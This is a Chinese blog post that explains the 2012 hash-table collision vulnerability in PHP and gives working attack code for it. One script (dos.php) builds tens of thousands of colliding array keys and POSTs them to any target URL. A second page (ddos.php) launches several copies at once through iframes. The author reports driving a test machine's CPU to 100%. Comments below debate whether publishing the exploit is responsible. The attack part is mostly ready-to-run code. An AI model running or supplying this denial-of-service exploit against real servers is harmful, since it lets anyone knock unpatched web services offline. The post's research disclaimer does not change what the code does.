现在的位置: 首页Php>正文
通过PHP的hash冲突漏洞进行DDoS攻击
2012年01月05日 Php 评论数 4 ⁄ 被围观 11,089 次+

声明:本文内容只用于研究学习使用,请勿用于非法行为!

上回咱说到了最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。
文件:dos.php

  1. // 目标地址   
  2. // 只要目标地址存在,不用管它是干嘛的   
  3. $host = 'http://127.0.0.1/test.php';   
  4.   
  5. $data = '';   
  6. $size = pow(2, 15);   
  7. for ($key=0, $max=($size-1)*$size$key<=$max$key+=$size)   
  8. {   
  9.     $data .= '&array[' . $key . ']=0';   
  10. }   
  11.   
  12. $ret = curl($host, ltrim($data,'&'));   
  13. var_dump($ret);   
  14.     
  15. function curl($url$post$timeout = 30){   
  16.     $ch = curl_init();   
  17.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);   
  18.     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);   
  19.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);   
  20.     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));   
  21.     curl_setopt($ch, CURLOPT_URL, $url);   
  22.     curl_setopt($ch, CURLOPT_POST, true);   
  23.     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);   
  24.     $output = curl_exec($ch);   
  25.     if ($output === false) return false;   
  26.     $info = curl_getinfo($ch);   
  27.     $http_code = $info['http_code'];   
  28.     if ($http_code == 404) return false;    
  29.     curl_close($ch);   
  30.     return $output;   
  31. }  

文件:ddos.php

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">   
  2. <html xmlns="http://www.w3.org/1999/xhtml">   
  3. <head>   
  4. <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />   
  5. <title>DDOS</title>   
  6. </head>   
  7. <body>   
  8. <?php   
  9. for($i=0; $i<5; $i++){  //并发数   
  10.     echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';   
  11. }   
  12. ?>   
  13. </body>   
  14. </html>  

虽然我的测试目标服务器是台虚拟机,但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务,点到为止:)

本文地址:http://www.92csz.com/03/1006.html
如非注明则为本站原创文章,欢迎转载。转载请注明转载自:moon's blog
 

目前有 4 条留言 其中:访客:4 条, 博主:0 条

  1. Snake.Zero : 2012年01月07日16:22:22  -49楼

    为了不把事情扩大,我在博客中只分析了方法,没有把攻击方法写出来。
    希望博主看到后能主动删除本文,尽可能的让更少的人知道攻击方法,不把问题扩大。
    行业需要自律。

    • davelv : 2012年01月11日15:02:04

      没用了,已经传得满天都是.

    • lonlylonly : 2012年01月11日18:18:45

      为了不把事情扩大,我连博客都没有写。
      希望你看到我的留言,把你的博客删除,同时通知Google和Baidu删除搜索结果!

  2. 小李 : 2012年01月12日11:20:34  -48楼

    这贴到处都是了,没这个必要了吧,